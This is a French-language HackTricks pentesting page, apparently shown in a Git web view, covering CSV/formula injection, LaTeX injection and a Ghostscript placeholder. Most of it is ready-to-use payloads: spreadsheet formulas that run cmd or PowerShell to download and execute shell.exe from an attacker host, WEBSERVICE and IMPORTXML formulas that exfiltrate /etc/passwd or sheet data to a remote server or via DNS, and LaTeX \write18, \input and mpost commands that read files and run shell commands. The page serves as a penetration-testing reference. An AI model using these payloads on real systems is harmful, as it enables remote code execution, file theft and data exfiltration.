hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

246 lines
14 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Injection de formules/CSV/Doc/LaTeX/GhostScript
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Injection de formules
### Info
Si votre **entrée** est **reflétée** à l'intérieur de **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourriez être capable d'insérer des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsqu'il **clique sur un lien** à l'intérieur de la feuille Excel.
{% hint style="danger" %}
De nos jours, **Excel alertera** (à plusieurs reprises) l'**utilisateur lorsqu'un élément est chargé depuis l'extérieur d'Excel** afin de le prévenir d'une action malveillante. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final.
{% endhint %}
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlien
**L'exemple suivant est très utile pour exfiltrer le contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Cependant, il nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
Exemple pris de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Supposons un scénario d'attaque du système de gestion des dossiers étudiants d'une école. L'application permet aux enseignants de saisir les détails des étudiants de l'école. L'attaquant obtient l'accès à l'application et souhaite que tous les enseignants utilisant l'application soient compromis. Ainsi, l'attaquant tente de réaliser une attaque par injection CSV via l'application web.\
L'attaquant a besoin de voler les détails d'autres étudiants. Donc, il utilise la formule Hyperlien et la saisit lors de l'entrée des détails des étudiants.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
Lorsque l'enseignant exporte le CSV et clique sur l'hyperlien, les données sensibles sont envoyées au serveur de l'attaquant.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
Le fichier CSV exporté contient une charge utile malveillante.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
Les détails de l'étudiant sont enregistrés sur le serveur web de l'attaquant.
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
### RCE
Pour que cet exemple fonctionne, il est **nécessaire d'activer la configuration suivante** :\
Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
ou l'utilisation d'une **version ancienne d'Excel**.
La bonne nouvelle est que **cette charge utile est exécutée automatiquement à l'ouverture du fichier** (si l'utilisateur accepte les avertissements).
Il est possible d'exécuter une calculatrice avec la charge utile suivante **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
### Plus
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### LFI
**LibreOffice Calc**
* Cela lira la 1ère ligne du fichier local /etc/passwd : `='file:///etc/passwd'#$passwd.A1`
* Exfiltrer : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
**Analyse de la charge utile d'exfiltration DNS :**
* file:///etc/passwd#$passwd.A19 Lira la 19ème ligne du fichier local /etc/passwd
* ENCODEURL(file:///etc/passwd#$passwd.A19) Encode l'URL des données retournées
* MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41) Similaire à substring, lire les données du 1er caractère au 41ème une manière très pratique de limiter la longueur des noms d'hôte DNS (limite de 254 caractères sur le FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
* SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“) remplace toutes les instances de % (le caractère spécial de l'encodage URL) par un tiret cela garantit que seuls les caractères DNS valides sont utilisés
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(file:///etc/passwd#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
* WEBSERVICE Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les logs (ou exécuter tcpdump, etc.) sur le serveur de noms DNS autoritaire pour lequel nous avons le contrôle
### Exfiltration de données OOB Google Sheets
Introduisons d'abord certaines des fonctions les plus intéressantes.
**CONCATENATE** : Ajoute des chaînes les unes aux autres.
```
=CONCATENATE(A2:E2)
```
**IMPORTXML** : Importe des données de divers types de données structurées, y compris XML, HTML, CSV, TSV et des flux XML RSS et ATOM.
```
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
```
**IMPORTFEED** : Importe un flux RSS ou ATOM.
```
=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))
```
**IMPORTHTML** : Importe des données à partir d'une table ou d'une liste dans une page HTML.
```
=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
```
**IMPORTRANGE** : Importe une plage de cellules à partir d'une feuille de calcul spécifiée.
```
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
```
**IMAGE** : Insère une image dans une cellule.
```
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
```
## Injection LaTeX
Habituellement, les serveurs que vous trouverez sur Internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble 'sûr' de **commandes prédéfinies** (\*\*Sur Ubuntu 16.04 la liste est dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter le RCE, il est très important d'utiliser `--shell-restricted`.
### Lire un fichier <a href="#read-file" id="read-file"></a>
Il se peut que vous deviez ajuster l'injection avec des enveloppes comme \[ ou $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Lire un fichier à ligne unique
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Lire un fichier à lignes multiples
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Écrire un fichier <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Exécution de commande <a href="#command-execution" id="command-execution"></a>
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour la récupérer.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Injection Ghostscript
TODO : Créer un résumé avec les informations et techniques les plus pertinentes de [https://blog.redteam-pentesting.de/2023/ghostscript-overview/](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Références
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>